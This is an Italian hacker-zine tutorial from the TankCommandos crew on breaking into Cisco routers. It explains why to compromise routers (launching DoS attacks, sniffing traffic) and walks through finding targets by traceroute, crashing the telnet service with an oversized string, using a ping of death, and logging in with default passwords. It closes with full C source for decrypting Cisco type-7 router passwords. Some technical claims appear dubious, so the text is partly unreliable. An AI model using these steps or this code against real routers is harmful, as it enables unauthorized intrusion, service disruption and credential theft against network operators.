* Perchè Hackerare un router Cisco ?

* Come trovare un router Cisco...

* Come bucare ... (beh l'avete capito)

* Cracckare le Password

SpiDeR2K : The Resurrection

E Finalmente rieccomi a scrivere testi per il TankCommandos, dopo un periodo di incasinamenti scolastici
e sportivi, ho trovato uno spiraglio di tempo per dedicarmi all'hacking e alla nostra imbattibile ( ??? )
Crew...
Prima di iniziare a trattare l'argomento volevo precisare che nello scrivere questo articolo, ho preso
spunto da un testo ( in inglese ) di Blacksun ( blacksun.box.sk ), quindi non mi rompete le palle dicendo
che ho scopiazzato , per due motivi : 1° scrivendo questo articolo faccio un favore a voi interessati ,
2° Non ho copiato tutto ma ho espanso l'argomento anche attraverso altre info reperite in rete.
Bene dopo tutto questo mucchio di stronzate, andiamo a noi.. :-)

---
Sezione 1 : Perche hackerare un router CISCO ?
---

Ci starai certo pensando... perchè hackerare un router ?

Beh la ragione che credo , sia la più generica , è hackerare un router per riutilizzarlo
successivamente , in un'altro attacco magari ad un server più grosso e complesso..

I ruoter Cisco sono molto veloci , alcuni anche con connessioni T1 ( a velocità stellari )
sono molto flessibili e possono essere utilizzati in degli attacchi DoS ( Denial of Service )
indirizzati ad altri sistemi , per avere dei risultati devastanti sul Target.

Beh se sapete cos'è un router , saprete anche che all'interno di questi , vi viaggiano
centinaia e centinaia di pacchetti che vengono instradati in altri server nella grande rete..
Questi , se avete una buona conoscenza dei router, potreste anche provare ad intercettare
qualche pacchetto importante , e poi decodificarlo , per ottenere informazioni importanti,
su altri sistemi...

---
Sezione 2 : Come trovare un ruoter Cisco ?
---

Al contrario di quanto potrebbe sembrare, trovare un ruoter Cisco è una cosa abbastanza
semplice, quasi tutti gli ISP ( Internet Service Provider ) instradano i

propri pacchetti
con uno di questi.
Il modo più facile di trovare un router Cisco è usare traceroute da Linux o Dos ( per
il DOS scrivete " tracert " e l'indirizzo IP ) e , come spero sappiate, avrete una lista
di tutti i computer con i corrispondenti indirizzi IP , collegati al nostro Target.
Uno di questi sistemi , avrà probabilmente un nome tipo " router " , " Cisco " , " Cisco router ", ecc..
Ecco un esempio di come potrebbe risultarvi un traceroute con Router :

tracert 222.222.22.22

Tracing route to [221.223.24.54]
over a maximum of 30 hops.
1 147ms 122ms 132ms your.isp [222.222.22.21]
2 122ms 143ms 123ms isp.firewall [222.222.22.20]
3 156ms 142MS 122ms aol.com [207.22.44.33]
4 * * * Request timed out
5 101ms 102ms 133ms cisco.router [194.33.44.33]
6 233ms 143ms 102ms something.ip [111.11.11.11]
7 222ms 123ms 213ms netcom.com [122.11.21.21]
8 152ms 211ms 212ms blahblah.tts.net [121.21.21.33]
9 122ms 223ms 243ms altavista.34.com [121.22.32.43] <<< target's isp
10 101ms 122ms 132ms 221.223.24.54.altavista.34.com [221.223.24.54]
Trace complete.

Quel "cisco.router" sulla 5° riga è il nostro obbiettivo..
Adesso abbiamo l'indirizzo di un Cisco Router, ma nell' 80 % dei casi questo sarà protetti
da un qualche firewall, per verificare la presenza di quest'ultimo , fate più
volte un ping, se vedete che vi restituisce una risposta e quindi il ping è andato a buon

fine, il ruoter non è bloccato da firewall.

Un'altro modo , è quello di vedere se il ruoter ha delle porte in listening ( per i più
cerebrolesi :-))) , se ha delle porte aperte ), e quindi provare a connettersi con
un client Telnet e vedere di raccogliere qualche info utile.

Cmq... in questo testo non vi sto mica a spiegare come violare un FireWall,
cercate di trovare un router non protetto !

---
Sezione 3 : Come bucare un Cisco Router ( che poi è la parte che piu vi interessa.. hihi )
---

La maggior parte dei Router Cisco utilizzano il cosidetto "V4.1 software"...

xxx : << I ROUTER OHHHHHH : MISSION IMPOSSIBILE !! >>

Ma che !!! Se il router non è protetto è un gioco da ragazzi hackerarlo.. hihihi
Poco fà ho accennato alle porte di un router.. facendo un bel Port-scanning al nostro
IP fortunato, sicuramente troveremo la porta 23 in ascolto, utilizzando un bel proxy
o preferibilmente un account che non sia nostro, connettiamoci a questa con Telnet e
inseriamo una stringa enorme del genere alla/e prima/e richiesta/e:

asdsdajkhdjkashdhlkahshjashdjhajklhdjklh2k41273489172937491347891kjahdk

9371927390812ghcyhiqgdab#@@@12312koeiueu189ue891789er719mjcrj289fu891rf

189un3cu982c89uhr89ny2c78ty2fn8937yvtnhuh5g0y89475t8'14ur'0182903r891yn

asdasfnvr89gnuv8372u3v5068035986ì'bk9hìulou6èkolmèuklmkpioyoyuloyukasd12

1418321989859034890j891g5896k590g6k85906k81908'fnmutnrinhtqchweuioqrmwd

asdsdajkhdjkashdhlkahshjashdjhajklhdjklh2k41273489172937491347891kjahdk

9371927390812ghcyhiqgdab#@@@12312koeiueu189ue891789er719mjcrj289fu891rf

189un3cu982c89uhr89ny2c78ty2fn8937yvtnhuh5g0y89475t8'14ur'0182903r891yn

asdasfnvr89gnuv8372u3v5068035986ì'bk9hìulou6èkolmèuklmkpioyoyuloyukasd12

1418321989859034890j891g5896k590g6k85906k81908'fnmutnrinhtqchweuioqrmwd

Adesso.. i casi che si potrebbero verificare sono due :

1) Il router va offline ma si riavvia automaticamente :
In tal caso possiamo provare ad hackerarlo attraverso un ping of death moolto pesante,
per cercare di buttarlo giù.

2) Riusciamo con una botta di Culo ( e specifico con la C maiscuola ) a freezzare il
ruoter per un periodo di 5 - 10 min.
In questo caso dobbiamo agire in maniera rapida e concisa...
Apriamo una seconda sezione Telnet sul server ( possibilmente passiamo per
qualche Wingate ) e inseriamo la password "admin" o "root", il motivo è che
queste sono le password di default di un router Cisco, se tutto è andato liscio
sarete loggati nel sistema. BINGO Siamo Dentro !

Prima di andare avanti facciamo qualche piccola osservazione :

Un ruoter non è mica una SHELL ! Ovvero , di certo non potremo utilizzare tutti i
comandi Unix , poichè il router ha dei propri comandi particolari per compiere determinate
operazioni ; quindi teoricamente prima di tentare un attacco del genere , dovremo almeno
conoscere qualche fondamentale dei router. Nella più districata delle soluzioni , una
volta al prompt del router, digitiamo "?" , e dovremo trovarci dinanzi a noi una lista
di comandi utili.

Torniamo al nostro tutorial... siamo dentro il router, la cosa che più ci interessa è
ottenere il file delle password che poi crakkeremo ( i verbi non sono il mio forte... )
con il nostro Jhon the Ripper. La trasmissione da un router deve essere eseguita ( sempre
utilizzando i comandi del router ), anche attraverso il nostro HyperTerminal di Windows
che si trova nella directory Accessori/Comunicazioni del Menù Avvio.

Avviando il programma , inseriamo il nome della sessione , e selezioniamo in basso
" TCP/IP Winsock " , inserendo come porta la 23 e mettendoci in ascolto di chiamata..
chiamata che faremo eseguire dall'interno del router verso il nostro computer.
Una volta conclusa la transazione , facciamo logout e chiudiamo la connessione.
Praticamente la parte più difficile è andata...

Sezione 4 : Cracckare il file delle Password

E si ! ho fatto anche questa sezione poichè oltre ai normali modi utilizzabili per cracckare le password ( jhon the Ripper, Brute force , ecc.. ) ho trovato
anche un sorgente C , da compilare con linux , che ci potrebbe facilitare il tutto.

Vi faccio un Copia&Incolla del sorgente proprio qui sotto.. oggi sono anche piu buono di
Babbo Natale .. eh ehm...

--------- INIZIO ----------

```
#include <stdio.h>
#include <ctype.h>

char xlat[] = {
```

```
        0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
        0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
        0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
        };


char pw_str1[] = "password 7 ";
        char pw_str2[] = "enable-password 7 ";


char *pname;


cdecrypt(enc_pw, dec_pw)
        char *enc_pw;
        char *dec_pw;
        {
        unsigned int seed, i, val = 0;


if(strlen(enc_pw) & 1)
        return(-1);


seed = (enc_pw[0] - '0') * 10 + enc_pw[1]          - '0';


if (seed > 15 || !isdigit(enc_pw[0]) ||          !isdigit(enc_pw[1]))
        return(-1);


for (i = 2 ; i <= strlen(enc_pw); i++)          {
        if(i !=2 && !(i & 1)) {
        dec_pw[i / 2 - 2] = val ^ xlat[seed++];
        val = 0;
        }
```

```
val *= 16;


if(isdigit(enc_pw[i] = toupper(enc_pw[i])))         {
        val += enc_pw[i] - '0';
        continue;
        }


if(enc_pw[i] >= 'A' && enc_pw[i] <=         'F') {
        val += enc_pw[i] - 'A' + 10;
        continue;
        }


if(strlen(enc_pw) != i)
        return(-1);
        }


dec_pw[++i / 2] = 0;


return(0);
        }


usage()
        {
        fprintf(stdout, "Usage: %s -p <encrypted password>n", pname);
        fprintf(stdout, " %s <router config file> <output file>n", pname);


return(0);
```

```
        }


main(argc,argv)
        int argc;
        char **argv;


{
        FILE *in = stdin, *out = stdout;
        char line[257];
        char passwd[65];
        unsigned int i, pw_pos;


pname = argv[0];


if(argc > 1)
        {
        if(argc > 3) {
        usage();
        exit(1);
        }


if(argv[1][0] == '-')
        {
        switch(argv[1][1]) {
        case 'h':
        usage();
        break;


case 'p':
        if(cdecrypt(argv[2], passwd)) {
        fprintf(stderr, "Error.n");
```

```
        exit(1);
        }
        fprintf(stdout, "password: %sn", passwd);
        break;



default:
        fprintf(stderr, "%s: unknow option.", pname);
        }



return(0);
        }



if((in = fopen(argv[1], "rt")) == NULL)
        exit(1);
        if(argc > 2)
        if((out = fopen(argv[2], "wt")) == NULL)
        exit(1);
        }



while(1) {
        for(i = 0; i < 256; i++) {
        if((line[i] = fgetc(in)) == EOF) {
        if(i)
        break;



fclose(in);
        fclose(out);
        return(0);
        }
        if(line[i] == 'r')
        i--;
```

```
if(line[i] == 'n')
        break;
        }
        pw_pos = 0;
        line[i] = 0;


if(!strncmp(line, pw_str1, strlen(pw_str1)))
        pw_pos = strlen(pw_str1);


if(!strncmp(line, pw_str2, strlen(pw_str2)))
        pw_pos = strlen(pw_str2);


if(!pw_pos) {
        fprintf(stdout, "%sn", line);
        continue;
        }


if(cdecrypt(&line[pw_pos], passwd)) {
        fprintf(stderr, "Error.n");
        exit(1);
        }
        else {
        if(pw_pos == strlen(pw_str1))
        fprintf(out, "%s", pw_str1);
        else
        fprintf(out, "%s", pw_str2);


fprintf(out, "%sn", passwd);
        }
        }
```

}

--------- FINE ----------by OutBlaze

E con questo mi sembra di aver esaurito l'argomento , almeno per quanto mi riguarda..

Come faccio usualmente vi invito a non combinare casini e a non tentare roba del genere se non avete una conoscenza più che di base di quello che veramente volete fare...

Quindi .. leggere e studiare , prima di agire !

Io non sono un esperto di router, quindi se qualcuno di voi ne sa di più non esiti a scrivermi.

Come sempre, se trovate errori , o volete rivolgermi elogi , insulti e perchè no, allegare anche qualche foto del calendario di Megan Gale , potete contattarmi a : spider2k@freemail.it

E questo è tutto , fine della trasmissione !